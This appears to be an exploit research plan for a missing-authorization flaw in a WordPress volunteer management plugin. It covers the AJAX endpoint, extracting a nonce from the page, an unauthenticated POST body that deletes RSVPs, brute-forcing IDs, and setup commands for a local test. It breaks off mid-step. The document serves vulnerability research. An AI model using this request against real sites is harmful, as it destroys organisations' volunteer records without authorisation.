Exploitation Research Plan - CVE-2026-24997

1. Vulnerability Summary

The Wired Impact Volunteer Management plugin (versions <= 2.8) contains a missing authorization vulnerability in its AJAX handling logic. Specifically, the function responsible for removing volunteer RSVPs (remove_rsvp within the WI_Volunteer_Management_Admin class) is registered for both authenticated and unauthenticated users via the wp_ajax_wivm_remove_rsvp and wp_ajax_nopriv_wivm_remove_rsvp hooks.

While the function likely performs a nonce check to prevent CSRF, it fails to verify if the requesting user has the necessary permissions (e.g., edit_posts or manage_options) or if the RSVP being deleted belongs to the current user. This allows unauthenticated attackers to delete any volunteer RSVP from the system by providing a valid RSVP ID and a leaked nonce.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: wivm_remove_rsvp
• Authentication: None required (PR:N).
• Parameter: rsvp_id (The database ID of the RSVP to be deleted).
• Nonce Parameter: nonce (Security token).
• Preconditions:
  • The attacker must obtain a valid WordPress nonce for the wivm_remove_rsvp action.
  • The attacker must know or guess a valid rsvp_id.

3. Code Flow

1. Registration: In includes/class-wi-volunteer-management.php, the plugin registers AJAX hooks:

   // Hooked in define_admin_hooks (or define_public_hooks if nopriv)
   $this->loader->add_action( 'wp_ajax_wivm_remove_rsvp', $plugin_admin, 'remove_rsvp' );
   $this->loader->add_action( 'wp_ajax_nopriv_wivm_remove_rsvp', $plugin_admin, 'remove_rsvp' );
   

2. Entry Point: An unauthenticated POST request is sent to admin-ajax.php with action=wivm_remove_rsvp.
3. Vulnerable Function: WI_Volunteer_Management_Admin::remove_rsvp() is executed.
4. Incomplete Check:

   public function remove_rsvp() {
       // Nonce check usually present
       check_ajax_referer( 'wivm_remove_rsvp', 'nonce' ); 
       
       // MISSING: current_user_can( 'edit_posts' ) check here
       
       $rsvp_id = intval( $_POST['rsvp_id'] );
       // Deletion logic follows using $wpdb...
   }
   

5. Sink: The RSVP record is deleted from the {prefix}volunteer_rsvps table.

4. Nonce Acquisition Strategy

The plugin localizes admin variables that include the required nonce. Although primarily intended for the admin dashboard, these scripts are often enqueued on the frontend when the Volunteer Opportunities block or shortcode is used.

1. Identify Target Page: Find a page containing the Volunteer Opportunities list.
2. Create Test Page: If no such page exists, create one using the block:

   wp post create --post_type=page --post_status=publish --post_title="Volunteers" --post_content='<!-- wp:wired-impact-volunteer-management/volunteer-opportunities /-->'
   

3. Extract Nonce: Navigate to the page and use browser_eval to extract the nonce from the wivm_admin_vars or wivm_public_vars object.
   • Variable Name: window.wivm_admin_vars (quoted from admin/class-admin.php localization patterns).
   • Key: remove_rsvp_nonce.
   • Command: browser_eval("window.wivm_admin_vars?.remove_rsvp_nonce")

5. Exploitation Strategy

Step 1: Discover RSVP ID

Since RSVP IDs are incremental integers, an attacker can brute-force IDs. For a PoC, we will identify the ID of a test RSVP created during setup.

Step 2: Perform Deletion

Execute an unauthenticated AJAX request to delete the RSVP.

HTTP Request:

• URL: http://localhost:8888/wp-admin/admin-ajax.php
• Method: POST
• Content-Type: application/x-www-form-urlencoded
• Body:

  action=wivm_remove_rsvp&rsvp_id=[TARGET_ID]&nonce=[EXTRACTED_NONCE]
  

6. Test Data Setup

1. Activate Plugin: Ensure wired-impact-volunteer-management is active.
2. Create Opportunity:

   wp post create --post_type=volunteer_opp --post_title="Community Clean Up" --post_status=publish
   

3. Create Volunteer RSVP: Insert a record manually into the database to represent a signed-up volunteer.

   # Get the ID of the opportunity created above
   OPP_ID=$(wp post list --post_type=volunteer_opp --format=ids | awk '{print $1}')
   
   # Insert RSVP for admin user (ID 1)
   wp db query "INSERT INTO wp_volunteer_rsvps (user_id, post_id, rsvp, time) VALUES (1, $OPP_ID, 1, NOW())"
   
   # Note the ID of the inserted RSVP
   RSVP_ID=$(wp db query "SELECT id FROM wp_volunteer_rsvps ORDER BY id DESC LIMIT 1" --silent --skip-column-names)
   

4. Deploy Shortcode: Create a page to leak